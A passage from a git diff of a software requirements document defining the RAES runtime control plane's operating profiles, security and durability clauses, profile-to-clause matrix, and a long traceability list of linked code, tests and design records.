control plane shall expose only explicitly selected operating +profiles and shall satisfy the applicable stable clauses below. A profile makes +no guarantee outside its matrix row. + +## Contract clauses + +### API-404-C1 — Common in-process control + +P0, P1, and P2 shall preserve typed actor provenance, authorize every mutation +and disclosure, isolate one target and run, scope idempotency to the actor and +operation context, validate admitted state, compare revisions before snapshot +writes, route mutations through one authority, and commit terminal operation +state with its operational audit atomically. The corresponding runtime +guarantee identifiers are `in-process-safety`, `actor-scoped-idempotency`, +`target-run-isolation`, `revision-cas`, and `atomic-audit`. + +P0 receives its actor identity from the trusted embedder. P0 process loss +discards operation state, idempotency records, and audit evidence held by the +composition. P0 does not provide durability, restart recovery, or retained +deduplication across process loss. + +For P0/P1 SDK use, the host application owns participant-facing caller +authentication, entitlement and result release. Direct Python methods have no +P2 transport authentication: `get_snapshot()` returns the full snapshot +without a caller identity, and participant retrieval accepts optional identity +context. The host keeps the control-plane object and store private, binds a +participant request to its target/run, participant, exact episode, audience +and operation, and releases only a permitted governed projection after a +configured API-423/RUN-319 crossing. The current legacy no-resolver retrieval +path can return a view without that crossing; the host must reject it for +participant-facing use. Local hosts need no organizational account model. + +### API-404-C2 — Durable local control + +P1 and P2 shall add crash-consistent authoritative state, retained idempotency +claims, exclusive owner-lease admission, strict persisted carriers, and startup +classification without automatic effect replay. The corresponding runtime +guarantee identifiers are `durable-state`, `retained-idempotency`, +`lease-admission`, and `startup-reconciliation`. + +Durability and a retained idempotency claim shall not authorize another +invocation, continuation, termination or new trial. Such choices remain governed +by admitted authored requirements and the existing workflow, time and trial +authorities; an unsupported or refused required guarantee shall not be weakened. + +### API-404-C3 — Served transport control + +P2 shall add bounded authenticated HTTP admission, actor-bound disclosure, +owner-serialized mutation, and revision-bearing reads over an explicitly +selected P1 core. The corresponding runtime guarantee identifiers are +`authenticated-transport`, `actor-bound-disclosure`, +`owner-serialized-mutation`, and `revision-carrying-reads`. Only P2 +authenticates transport callers; P0 and P1 rely on their trusted embedders. + +Every served P2 route shall declare exactly one transport authority: a +value-free GET-only public probe, GET-only administrative read, or a +state-changing-method administrative mutation or operator resolution. P2 +composition shall fail when any other route is registered, and a served app +shall refuse startup and every request when its routes, middleware, exception +handlers or dependency overrides differ from the composed set. Every +P2 response, including errors and idempotent readback, shall carry +`Cache-Control: no-store`. Transport-admission refusals shall not reveal why +admission failed, and no refusal shall reveal whether an operation outside the +caller's authority exists. + +P2 identities are deployment-configured bearer tokens or verified proxy +identities, not RAES-issued participant credentials. A host may use one as a +service identity. Read-role admission to an API-408 participant projection +also permits full snapshot and operational reads; the participant/audience +binding used for governed projection is not a route-wide read restriction. +The host keeps its P2 identity private, binds its participant-facing caller to +target/run, participant, exact episode, audience and permitted operation, and +checks the returned view before release. P2 checks the configured identity's +target and role and, with a resolver, the governed crossing; it does not +authorize the host's end user or reject the legacy no-resolver path solely +because the result will be participant-facing. The host must not release raw +snapshot, operation, history, event, error or cached control-plane outputs as +participant views. Organizational identity and policy remain with an +organizational host such as BigRAE. This interpretation adds no P2 profile +guarantee or SDL participant role. + +### API-404-C4 — Excluded stronger claims + +P0, P1, and P2 shall not imply high availability, multitenancy, multi-owner +coordination, exactly-once backend effects, TLS or proxy deployment correctness, +or universal recovery proof. P3 is unavailable and satisfies no API-404 clause; +coordination, fencing, scheduling, cache coherence, partition behavior, and +tenant isolation require a future ADR and formal model. + +## Profile-to-clause matrix + +| Profile | Required clauses | Guarantee identifiers | Explicit boundaries | +| --- | --- | --- | --- | +| P0 | `API-404-C1` | `in-process-safety`, `actor-scoped-idempotency`, `target-run-isolation`, `revision-cas`, `atomic-audit` | Process-lifetime state only; no durability, restart recovery, retained deduplication after loss, or authenticated transport. | +| P1 | `API-404-C1`, `API-404-C2` | `in-process-safety`, `actor-scoped-idempotency`, `target-run-isolation`, `revision-cas`, `atomic-audit`, `durable-state`, `retained-idempotency`, `lease-admission`, `startup-reconciliation` | Trusted-embedder identity; no authenticated transport, multi-owner operation, or exactly-once backend effects. | +| P2 | `API-404-C1`, `API-404-C2`, `API-404-C3` | `in-process-safety`, `actor-scoped-idempotency`, `target-run-isolation`, `revision-cas`, `atomic-audit`, `durable-state`, `retained-idempotency`, `lease-admission`, `startup-reconciliation`, `authenticated-transport`, `actor-bound-disclosure`, `owner-serialized-mutation`, `revision-carrying-reads` | One P1 owner and one target/run scope; TLS, proxy correctness, high availability, and multitenancy remain deployment or future-profile duties. | +| P3 | none | none | Unavailable; no guarantee or implementation claim. | ## Rationale -Requirement inventory phase. Status audit deferred until the full canonical graph is complete. +The control-plane implementations deliberately provide cumulative operating +profiles rather than one universal durability and transport contract. Stable +clause identifiers keep requirement traceability aligned with the runtime-owned +profile catalog while preserving the distinction between trusted-embedder +identity, crash-persistent local control, and authenticated served admission. +ADR-104 and the FM3 model define the architecture; landed code and automated +tests provide implementation evidence. + +## Supervision interpretation and fulfillment boundary + +The [ADR-104 supervision supplement](../../../specs/formal/runtime-control-plane/supervision.md) +defines the design interpretation adopted by issue #1348. C1's single authority +serializes state mutation; it does not require holding the supervision permit +through external execution. Cancellation request, backend acceptance/refusal, +established cessation, terminal operation outcome and independent cleanup are +distinct. Atomic state publication and local CAS do not prove external fencing. +C2's startup classification never supplies implicit replay or resumption. +C3's bounded authenticated admission also constrains the designed supervisory +path. C4's nonclaims remain applicable, including unavailable P3. + +The existing profile matrix is unchanged. API-404 remains ACTIVE for those +implemented clauses; the supplement and its finite model establish design +semantics only. They do not certify that current runtime calls or shutdown are +bounded, that backend effects can be interrupted, or that a general continuation +carrier exists. The [decision](../../decisions/issue-1348-operation-lifecycle.md) +identifies those implementation gaps and the retained canonical requirements. ## Traceability -- IMPLEMENTS → GITHUB_ISSUE `8` (API-404: Secure, Durable, And Idempotent Control-Plane Semantics) -- IMPLEMENTS → GITHUB_ISSUE `1151` (design(runtime): define the runtime control-plane architecture) +- DOCUMENTS → GITHUB_ISSUE `1359` (Enforce the accepted runtime API trust boundary) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1359-runtime-api-trust-boundary-preflight.md` (Administrative-only P2 enforcement guardrails and route authority matrix) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_security.py` (Route transport-authority roles and HTTP methods, unambiguous subject bindings, and fail-closed principal, credential, trust-flag and limit validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/_auth.py` (One declared method-bound transport authority per served route, fail-closed route inventory, sealed app composition, and non-revealing refusals) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/__init__.py` (Route-authority inventory and composition seal enforced at app construction and middleware-stack build, and exposed to the embedder) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_guards.py` (Application-wide `Cache-Control: no-store` boundary and per-request sealed-composition refusal) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/_operation_routes.py` (No-store and seal installation, uncacheable redacted 500 envelope, admission before request-validation errors, and resolution refusal indistinguishable from an unknown operation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_participant_retrieval.py` (Participant views admitted through the shared administrative-read authority) +- DOCUMENTS → DOCUMENTATION `docs/public/guides/control-plane.md` (P2 deployment guidance and host responsibilities) +- TESTS → TEST `implementations/python/tests/test_issue_1359_runtime_api_trust_boundary.py` (ASGI-boundary route inventory, method binding, composition seal, per-route admission, non-revealing refusals, governed and legacy views, replay scope, no-store and configuration checks) +- TESTS → TEST `implementations/python/tests/test_issue_1179_startup_reconciliation.py` (HTTP resolution refusal indistinguishable from an unknown operation) + +- DOCUMENTS → GITHUB_ISSUE `1356` (Control-plane and participant-access trust boundary) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1356-control-plane-participant-access-preflight.md` (Accepted exposure model, route authority matrix, deployment and crossing guardrails) + +- DOCUMENTS → GITHUB_ISSUE `1350` (Execution architecture selection; no new executable profile claim) +- DOCUMENTS → ADR `docs/decisions/adrs/adr-113-reusable-execution-machinery.md` (Reusable machinery, retained RAE authority and deployment boundaries) +- DOCUMENTS → DOCUMENTATION `docs/research/execution-architecture/execution-protocol.md` (Ledger/engine reconciliation, scoped worker authorization and conservative ownership recovery design) +- DOCUMENTS → DOCUMENTATION `docs/research/execution-architecture/authored-retry-policy.md` (Contextual author failure/retry policy, scoped defaults and fresh-trial distinctions; public support requires implementation) +- DOCUMENTS → DOCUMENTATION `docs/research/execution-architecture/experiment-report.md` (Bounded mechanism observations, not distributed conformance evidence) +- TESTS → TEST `implementations/python/tests/test_issue_1350_fixture_secret_scan.py` (Design-evidence publication checks: retained experiment source hashes match their record, and the exact synthetic fixture exception preserves detection of other values, paths and rules through the real-scanner integration lane; no runtime conformance claim) + +- DOCUMENTS → GITHUB_ISSUE `1348` (Operation supervision decision; no new executable profile claim) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1348-operation-lifecycle-preflight.md` (Supervision architecture guardrails) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1348-operation-lifecycle.md` (Decision, requirement dispositions and implementation boundaries) +- IMPLEMENTS → SPEC `specs/formal/runtime-control-plane/supervision.md` (Design interpretation of operation supervision and authored recovery choices) +- TESTS → TEST `implementations/python/tests/operation_supervision_model.py` (Finite abstract model; no runtime conformance claim) +- TESTS → TEST `implementations/python/tests/test_issue_1348_operation_supervision.py` (Bounded supervision and recovery counterexamples) + +- DOCUMENTS → GITHUB_ISSUE `8` (API-404: Secure, Durable, And Idempotent Control-Plane Semantics) +- DOCUMENTS → GITHUB_ISSUE `1151` (design(runtime): define the runtime control-plane architecture) - DOCUMENTS → ADR `docs/decisions/adrs/adr-104-runtime-control-plane-architecture.md` (ADR-104: Runtime Control-Plane Architecture) - DOCUMENTS → DOCUMENTATION `docs/research/runtime-control-plane/index.md` (Runtime control-plane architecture design set) - DOCUMENTS → SPEC `specs/formal/runtime-control-plane/README.md` (ADR-104 FM3 abstract operation model and invariants) - TESTS → TEST `implementations/python/tests/test_issue_1151_runtime_control_plane_design.py` (Structural acceptance gate for the design set) -- IMPLEMENTS → GITHUB_ISSUE `1182` (CP-1: Operation lifecycle contract) -- IMPLEMENTS → GITHUB_ISSUE `1181` (CP-2: Unified control-plane mutation commits) +- DOCUMENTS → GITHUB_ISSUE `1182` (CP-1: Operation lifecycle contract) +- DOCUMENTS → GITHUB_ISSUE `1181` (CP-2: Unified control-plane mutation commits) - DOCUMENTS → GITHUB_ISSUE `1179` (CP-3: Startup reconciliation) -- IMPLEMENTS → GITHUB_ISSUE `1180` (CP-4: Snapshot revision compare-and-swap) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1179-startup-reconciliation-preflight.md` (CP-3 startup reconciliation classification, observation, authorization, and recovery boundaries) +- IMPLEMENTS → SPEC `contracts/schemas/backend-manifest/backend-manifest-v2.json` (Optional backend-neutral recovery-observation capability and supported operation kinds) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/recovery_observation.py` (Closed value-free recovery classification request/result protocol) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/backend_manifest.py` (Recovery-observation capability access on composed backend manifests) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/capabilities.py` (Strict recovery-observation capability declaration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/manifest.py` (Recovery-observation manifest serialization and parsing) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/__init__.py` (Public recovery capability contract export) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_exports.py` (Governed recovery capability export inventory) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/manifests.py` (Strict recovery-observation manifest contract model) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/runtime_state.py` (Public changed-address validation reused by recovery observations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/registry.py` (Exact recovery manifest/component presence and signature validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/registry_target_validation.py` (Focused optional-component and recovery-observer target validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/manager.py` (Recovery-observer composition through registered runtime targets) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_recovery.py` (Runtime-owned startup classification, atomic terminalization, quarantine, and linked resolution) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/_auth.py` (Operator-only HTTP resolution authorization) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/_operation_routes.py` (Redacted linked-resolution HTTP endpoint) +- TESTS → TEST `implementations/python/tests/test_issue_1179_startup_reconciliation.py` (Classification, no-replay, observer validation, manifest separation, quarantine, linkage, idempotency, authorization, and redaction tests) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Current versioned evidence selection after recovery contract changes) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Current specification-coverage bundle integrity after contract changes) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Current formal-semantic retest bundle integrity after runtime changes) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_baseline.py` (Versioned formal-evidence baseline selection) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_loading.py` (Complete formal-evidence release loading and current selection) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_releases.py` (Historical and current formal-evidence release validation) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_retest.py` (Current retained-corpus replay validation) +- IMPLEMENTS → CODE_FILE `tools/check_specification_coverage.py` (Complete specification-coverage release loading and current selection) +- DOCUMENTS → GITHUB_ISSUE `1180` (CP-4: Snapshot revision compare-and-swap) - DOCUMENTS → GITHUB_ISSUE `1183` (CP-5: Store lease admission) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1183-store-ownership-lease-preflight.md` (CP-5 immutable scope, exclusive ownership, startup, and shutdown boundaries) - DOCUMENTS → GITHUB_ISSUE `1092` (CP-6: Transactional local store) - DOCUMENTS → GITHUB_ISSUE `1184` (CP-7: Atomic idempotency claims and cache demotion) - DOCUMENTS → GITHUB_ISSUE `1188` (CP-8: Served profile alignment) - DOCUMENTS → GITHUB_ISSUE `1187` (CP-9: Crash and profile conformance suite) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1187-control-plane-conformance-preflight.md` (CP-9 profile, fault-evidence, and security boundaries) +- DOCUMENTS → DOCUMENTATION `docs/research/runtime-control-plane/conformance.md` (Unified suite invocation, finite evidence map, and explicit profile nonclaims) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_result_diagnostics.py` (Value-free backend failure diagnostics without provider type names) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/observation_execution.py` (Observation-adapter failure diagnostics without provider exception names or text) +- TESTS → TEST `implementations/python/tests/test_issue_1212_observation_demand.py` (Observation failures preserve terminal state and redact exception details from operation carriers) +- TESTS → TEST `implementations/python/tests/test_issue_1187_control_plane_profiles.py` (Shared P0/P1/P2 retry, isolation, concurrency, coherence, ownership, and restore checks) +- TESTS → TEST `implementations/python/tests/test_issue_1187_control_plane_process_loss.py` (Supervised abrupt loss across claim, invocation, terminal commit and recovery, with independent effect witnesses) +- TESTS → TEST `implementations/python/tests/test_issue_1187_control_plane_lifecycle_properties.py` (Independent lifecycle matrix, generated sequences, operation-kind audit coverage and enforcement mutation detection) +- TESTS → TEST `implementations/python/tests/test_issue_1187_control_plane_durable_carriers.py` (Fail-closed durable-carrier mutation and corruption checks on reopen) +- TESTS → TEST `implementations/python/tests/test_issue_1187_control_plane_security_conformance.py` (Configuration admission, provider error redaction, and denial response preservation) +- TESTS → TEST `implementations/python/tests/control_plane_conformance_fixtures.py` (Shared reference compositions and independent backend-effect witness) +- TESTS → TEST `implementations/python/tests/control_plane_crash_fixtures.py` (Supervised process termination at acknowledged real transaction boundaries) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/bundles/retest-v34.json` (Fresh retained formal and participant replay bound to CP-9 source without new claim classes) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1187-v34.json` (Fresh retained language coverage replay bound to CP-9 source without crash-conformance claims) +- TESTS → TEST `implementations/python/tests/test_run_319_participant_flow_policy.py` (Operation-bound participant authorization, atomic crossing history, and idempotent replay in the conformance suite) - DOCUMENTS → GITHUB_ISSUE `1189` (CP-10: Profile declaration and capability discovery) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_profiles.py` (Canonical typed P0-P3 declarations and layer-qualified capability admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/__init__.py` (Public profile and capability declaration exports) +- DOCUMENTS → DOCUMENTATION `docs/explain/sdl/runtime-architecture.md` (Profile guarantees, nonclaims, selection, and deployment responsibilities) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1189-control-plane-profile-declaration-preflight.md` (CP-10 composition and capability boundary) +- TESTS → TEST `implementations/python/tests/test_issue_1189_control_plane_profile_declarations.py` (Profile matrix, fail-closed construction, cross-surface identity, and documentation drift tests) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/bundles/retest-v35.json` (Current retained formal and participant replay bound to CP-10 source without new profile claims) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1189-v35.json` (Current retained language coverage replay bound to CP-10 source without profile-composition claims) - DOCUMENTS → GITHUB_ISSUE `1185` (CP-11: API-404 requirement update) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1185-api-404-profile-alignment-preflight.md` (CP-11 profile and evidence boundaries) +- TESTS → TEST `implementations/python/tests/test_issue_1185_api_404_profile_alignment.py` (Clause matrix, profile catalog, nonclaims, public documentation, and local-evidence drift checks) - DOCUMENTS → GITHUB_ISSUE `1186` (CP-12: Recovery runbook and operator tooling) -- IMPLEMENTS → GITHUB_ISSUE `1090` (Fail-closed bearer-token authentication and target binding) -- IMPLEMENTS → GITHUB_ISSUE `1091` (Bounded pre-routing HTTP request admission) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1186-control-plane-recovery-operations-preflight.md` (CP-12 recovery, maintenance, health, and disclosure boundaries) +- DOCUMENTS → DOCUMENTATION `docs/explain/sdl/control-plane-operations.md` (Operator recovery, health, shutdown, backup, restore, and upgrade runbook) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_cli/runtime.py` (Stable value-free local-store maintenance CLI) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/_health_routes.py` (Public value-free liveness and readiness probes) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_audit.py` (Bounded audit-carrier validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_health.py` (Closed lifecycle, lease, poison, and recovery readiness projection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_maintenance.py` (Lease-admitted local integrity check, SQLite backup, migration, and restore operations) +- TESTS → TEST `implementations/python/tests/test_issue_1186_control_plane_recovery_operations.py` (CP-12 health, maintenance, migration, recovery, redaction, and failure-path acceptance tests) +- DOCUMENTS → GITHUB_ISSUE `1090` (Fail-closed bearer-token authentication and target binding) +- DOCUMENTS → GITHUB_ISSUE `1091` (Bounded pre-routing HTTP request admission) - DOCUMENTS → GITHUB_ISSUE `1093` (In-process HTTP offload and rejection-audit slice) - IMPLEMENTS → SPEC `contracts/schemas/control-plane/operation-receipt-v1.json` (Operation receipt JSON Schema — submission acknowledgment contract) - IMPLEMENTS → SPEC `contracts/schemas/control-plane/operation-status-v1.json` (Operation status JSON Schema — durable operation state contract) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/operation_lifecycle.py` (Closed operation states, transitions, stable terminal diagnostics, and immutable admission context) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/operation_carriers.py` (Closed transport carriers and canonical terminal-diagnostic constraints) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_operation_context.py` (Value-free canonical request commitment and authenticated actor binding) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_configuration.py` (Trusted immutable run-scope composition) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_plan_authorization.py` (Observed base-snapshot admission and planner artifact authorization) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_admission.py` (Central actor-bound denial auditing and exact idempotency ownership checks) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_record_migration.py` (Versioned legacy operation-record migration and denial-only disposition) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/_auth.py` (Fail-closed bearer and verified-proxy authentication) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/_offload.py` (Bounded worker offload and mutation admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api/__init__.py` (Single-worker admission and lifespan-owned runtime shutdown) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_guards.py` (Bounded fail-closed request-size admission and rejection-audit offload) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_security.py` (HTTP admission and pending-work limits) - DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1093-control-plane-offload-preflight.md` (In-process ASGI offload and rejection semantics) @@ -58,7 +269,7 @@ Requirement inventory phase. Status audit deferred until the full canonical grap - TESTS → TEST `implementations/python/tests/test_runtime_control_plane_api.py` (HTTP/JSON control-plane API tests — auth, idempotency, durability, audit) - TESTS → TEST `implementations/python/tests/test_issue_1182_operation_lifecycle_contract.py` (Closed transition matrix, malformed carriers, immutability, denial, semantic idempotency, and schema governance) - TESTS → TEST `implementations/python/tests/test_issue_1093_request_rejection_offload.py` (Non-blocking, saturation-bounded, fail-closed request rejection audit tests) -- IMPLEMENTS → GITHUB_ISSUE `1092` (Make the local control plane crash-consistent and explicitly single-process) +- DOCUMENTS → GITHUB_ISSUE `1092` (Make the local control plane crash-consistent and explicitly single-process) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_mutation.py` (Operation-family-neutral logical mutation authority and guarded extension callback boundary) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_execution.py` (Write-ahead RUNNING claims, guarded backend validation and execution, and terminal commit routing) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store.py` (Provider-neutral store contracts, transition validation, and actor-bound audit provenance) @@ -69,6 +280,8 @@ Requirement inventory phase. Status audit deferred until the full canonical grap - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_lease.py` (Secure single-process local runtime ownership) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_snapshots.py` (Compatibility-preserving portable snapshot serialization split) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_local.py` (Required WAL admission, pinned database identity, durable legacy backup copies, and atomic transactions) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_local_records.py` (SQLite atomic idempotency claims and operation-record persistence) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_local_scope.py` (Immutable target/run binding and admitted legacy-store migration) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_records.py` (Strict lossless decoding of persisted operation and audit provenance) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_legacy.py` (Complexity-bounded legacy JSON import readers) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_paths.py` (Descriptor-verified private directories, fail-closed durability synchronization, and metadata-only SQLite path validation) @@ -87,9 +300,36 @@ Requirement inventory phase. Status audit deferred until the full canonical grap - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_participant_retrieval.py` (Revision-identifying participant view reads) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_retrieval_context.py` (Runtime-owned participant context revision-path policy) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_projection.py` (Stable participant projection subjects across provider revisions) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_mediation.py` (Control-plane-owned fixed run scope for participant control operations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_mediation.py` (Control-plane-owned fixed run scope for crossing operations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_records.py` (Control-plane-owned fixed run scope for crossing record operations) - DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1092-local-control-plane-durability-preflight.md` (Crash recovery and supported process topology) - DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1180-snapshot-revision-cas-preflight.md` (Snapshot CAS architecture guardrails and compatibility boundaries) - TESTS → TEST `implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py` (Atomic terminal rollback, WAL admission, durable path handling, uncertain-commit preservation, multiprocess stress, retry, and runtime-owner tests) - TESTS → TEST `implementations/python/tests/test_issue_1180_snapshot_revision_cas.py` (Interleaved stale writers, cache rebuild, provider metadata isolation, and SQLite revision migration) -- IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-1181-unified-control-plane-mutations-preflight.md` (CP-2 mutation authority, write-ahead claim, atomic terminal cut, and compatibility boundaries) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1181-unified-control-plane-mutations-preflight.md` (CP-2 mutation authority, write-ahead claim, atomic terminal cut, and compatibility boundaries) - TESTS → TEST `implementations/python/tests/test_issue_1181_unified_control_plane_mutations.py` (CP-2 authority, claim ordering, validation gate, atomicity, audit provenance, capability, recovery, and facade-boundary acceptance tests) +- TESTS → TEST `implementations/python/tests/test_issue_1183_store_ownership_leases.py` (CP-5 admission, scope binding, process ownership, shutdown ordering, and worker-posture acceptance tests) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1184-atomic-idempotency-claims-preflight.md` (CP-7 atomic claim, replay authorization, migration, and cache-authority boundaries) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1188-served-control-plane-profile-preflight.md` (CP-8 P2 identity, authorization, audit, read, error-redaction, and single-owner boundaries) +- TESTS → TEST `implementations/python/tests/test_issue_1184_atomic_idempotency_claims.py` (CP-7 atomic scoped claims, replay conflicts, migration, authorization, and authoritative-read regressions) +- TESTS → TEST `implementations/python/tests/test_dsl_437_snapshot_durability_conformance.py` (Snapshot durability conformance under explicit local-store admission) +- TESTS → TEST `implementations/python/tests/test_realization_envelope_contract.py` (Realization envelope persistence under explicit local-store admission) +- TESTS → TEST `implementations/python/tests/test_run_310_supervisory_lifecycle.py` (Supervisory lifecycle persistence under explicit local-store admission) +- TESTS → TEST `implementations/python/tests/test_sem_211_participant_action_semantics.py` (Participant action persistence under explicit local-store admission) +- TESTS → TEST `implementations/python/tests/test_libvirt_backend_techvault_honesty.py` (Backend admission preserves the explicitly admitted durable predecessor) +- TESTS → TEST `implementations/python/tests/test_issue_1204_reference_profiles.py` (API lifespan ownership preserves durable profile-validation predecessors) +- TESTS → TEST `implementations/python/tests/test_issue_1212_runtime_boundaries.py` (API lifespan ownership preserves rejected-evaluation predecessors) +- TESTS → TEST `implementations/python/tests/test_issue_802_participant_control_migration.py` (Legacy snapshot migration under explicit local-store admission) +- TESTS → TEST `implementations/python/tests/test_issue_899_participant_resource_budgets.py` (Participant resource-budget persistence under explicit local-store admission) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_durability.py` (Run-scoped materialization durability and restart behavior) +- TESTS → TEST `implementations/python/tests/test_issue_1242_scope_durability.py` (Run-scoped augmentation durability and retry behavior) +- DOCUMENTS → GITHUB_ISSUE `1069` (Composed control state committed through the ADR-104 store authority) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_control_evaluation_history.py` (Append-only evaluation-history invariants in the runtime snapshot) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_snapshots.py` (Durable persistence and absent-carrier classification) +- TESTS → TEST `implementations/python/tests/test_issue_1069_participant_control_durability.py` (P0 process-loss nonclaims and P1 restart replay) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/_snapshot_updates.py` (Participant-control evaluation history in the snapshot update surface) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/realization_plans.py` (Participant-control evaluation history in the published snapshot envelope) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_snapshot_contracts.py` (Runtime ownership of the participant-control evaluation carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_models.py` (Participant-control evaluation history in the control-plane projection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_action_validation.py` (Runtime-owned evaluation carrier protected from backend rewrite) diff --git a/docs/requirements/API-407/requirement.md b/docs/requirements/API-407/requirement.md index 6c39850de..a3a695f91 100644 --- a/docs/requirements/API-407/requirement.md +++ b/docs/requirements/API-407/requirement.md @@ -6,14 +6,14 @@ type: INTERFACE priority: SHOULD wave: 2 created_at: 2026-04-03T06:16:04.357369Z -updated_at: 2026-06-21T02:21:42.017233Z +updated_at: 2026-09-24T01:59:47Z --- # API-407 — Participant Feature Support And Constraint Declaration 